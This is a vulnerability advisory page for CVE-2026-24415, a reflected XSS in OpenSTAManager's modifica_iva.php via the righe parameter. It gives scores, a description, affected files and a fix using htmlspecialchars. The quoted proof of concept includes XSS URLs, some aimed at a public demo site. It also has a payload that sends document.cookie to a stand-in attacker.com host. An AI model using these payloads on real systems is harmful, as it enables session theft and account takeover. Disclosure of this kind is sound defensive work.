5.1medium
OpenSTAManager affected by reflected XSS in modifica_iva.php via righe parameter
- Severity
- 5.1medium CVSS:4.0 by GitHub_M
- Exploit likelihood
- 0.28% (higher than 21% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-jfgp-g7x7-j25j
Description
OpenSTAManager is an open source management software for technical assistance and invoicing. OpenSTAManager v2.9.8 and earlier contains Reflected XSS vulnerabilities in invoice/order/contract modification modals. The application fails to properly sanitize user-supplied input from the righe GET parameter before reflecting it in HTML output.The $_GET['righe'] parameter is directly echoed into the HTML value attribute without any sanitization using htmlspecialchars() or equivalent functions. This allows an attacker to break out of the attribute context and inject arbitrary HTML/JavaScript.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| devcode-it openstamanager | <= 2.9.8 | CVE List |
| devcode-it/openstamanager (Packagist) | before 2.9.8 | GitHub Advisory Database |
| devcode openstamanager | up to 2.9.8 | NVD |
All scores
| GitHub_M | 5.1medium CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N |
| GitHub | medium CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N |
| NVD | 6.1medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N |
Classification
SSVC (CISA-ADP): exploitation poc, automatable no, technical impact partial.
What each source says
CVE List
OpenSTAManager is an open source management software for technical assistance and invoicing. OpenSTAManager v2.9.8 and earlier contains Reflected XSS vulnerabilities in invoice/order/contract modification modals. The application fails to properly sanitize user-supplied input from the righe GET parameter before reflecting it in HTML output.The $_GET['righe'] parameter is directly echoed into the HTML value attribute without any sanitization using htmlspecialchars() or equivalent functions. This allows an attacker to break out of the attribute context and inject arbitrary HTML/JavaScript.
GitHub Advisory Database
Summary
Multiple Reflected Cross-Site Scripting (XSS) vulnerabilities in OpenSTAManager v2.9.8 allow unauthenticated attackers to execute arbitrary JavaScript code in the context of other users' browsers through crafted URL parameters, potentially leading to session hijacking, credential theft, and unauthorized actions.
Vulnerable Parameter: righe (GET)
Details
OpenSTAManager v2.9.8 contains multiple Reflected XSS vulnerabilities in invoice/order/contract modification modals. The application fails to properly sanitize user-supplied input from the righe GET parameter before reflecting it in HTML output.
Vulnerable Code Location:
File: /modules/contratti/modals/modifica_iva.php (Line 125)
<input type="hidden" name="righe" value="<?php echo $_GET['righe']; ?>">
The $_GET['righe'] parameter is directly echoed into the HTML value attribute without any sanitization using htmlspecialchars() or equivalent functions. This allows an attacker to break out of the attribute context and inject arbitrary HTML/JavaScript.
All Affected Files:
/modules/contratti/modals/modifica_iva.php- Line 125, Line 167/modules/preventivi/modals/modifica_iva.php- Line 125, Line 167/modules/fatture/modals/modifica_iva.php- Line 121, Line 161/modules/ddt/modals/modifica_iva.php- Line 125, Line 167/modules/ordini/modals/modifica_iva.php- Line 125, Line 167/modules/interventi/modals/modifica_iva.php- Line 125, Line 167
PoC
Prerequisites:
- Running instance of OpenSTAManager v2.9.8
- Valid admin credentials (username: admin, password: admin for test instance)
Step 1: Login
curl -c cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
Step 2: Trigger XSS Navigate to the following URL in a browser (or use curl with cookies):
http://localhost:8081/modules/contratti/modals/modifica_iva.php?righe="><script>alert(document.domain)</script>
Tested URLs (All vulnerable):
https://demo.osmbusiness.it/modules/contratti/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>https://demo.osmbusiness.it/modules/preventivi/modals/modifica_iva.php?righe=1"><script>alert(document.cookie)</script>https://demo.osmbusiness.it/modules/fatture/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>https://demo.osmbusiness.it/modules/ddt/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>https://demo.osmbusiness.it/modules/ordini/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>https://demo.osmbusiness.it/modules/interventi/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>
Expected Result: JavaScript alert popup displays showing the current session cookie, confirming code execution.
HTML Output (verified on live instance):
<input type="hidden" name="righe" value=""><script>alert(document.cookie)</script>">
Verification:
image imageAlternative Payloads:
Session stealing: "><script>fetch('https://attacker.com/?c='+document.cookie)</script>
Impact
Affected Users: All authenticated users with access to contracts, invoices, quotes, or orders modules.
Attack Scenario:
- Attacker crafts malicious URL with XSS payload
- Attacker sends URL to victim via email/chat/phishing
- Victim (authenticated user) clicks the link
- Malicious JavaScript executes in victim's browser context
- Attacker can:
- Steal session cookies → Full account takeover
- Perform actions on behalf of victim (create/modify/delete records)
- Steal CSRF tokens and bypass CSRF protection
- Redirect to phishing page
- Inject keylogger to capture sensitive data
- Modify page content to trick user into revealing credentials
Recommended Fix:
<input type="hidden" name="righe" value="<?php echo htmlspecialchars($_GET['righe'], ENT_QUOTES, 'UTF-8'); ?>">
Apply this fix to all affected files listed in Details section.
NVD (es)
OpenSTAManager es un software de gestión de código abierto para asistencia técnica y facturación. OpenSTAManager v2.9.8 y versiones anteriores contienen vulnerabilidades de XSS Reflejado en los modales de modificación de facturas/pedidos/contratos. La aplicación no logra sanear adecuadamente la entrada proporcionada por el usuario desde el parámetro GET righe antes de reflejarla en la salida HTML. El parámetro $_GET['righe'] se imprime directamente en el atributo HTML value sin ninguna sanitización utilizando htmlspecialchars() o funciones equivalentes. Esto permite a un atacante salir del contexto del atributo e inyectar HTML/JavaScript arbitrario.
References
| https://github.com/devcode-it/openstamanager/security/advisories/GHSA-jfgp-g7x7-j25j | exploit, mitigation, vendor-advisory, web | |
| https://nvd.nist.gov/vuln/detail/CVE-2026-24415 | advisory | |
| https://github.com/devcode-it/openstamanager | package | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-24415 changed 2026-03-04 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-jfgp-g7x7-j25j changed 2026-03-04 | CC-BY-4.0 |
| NVD | CVE-2026-24415 changed 2026-06-17 | Public domain |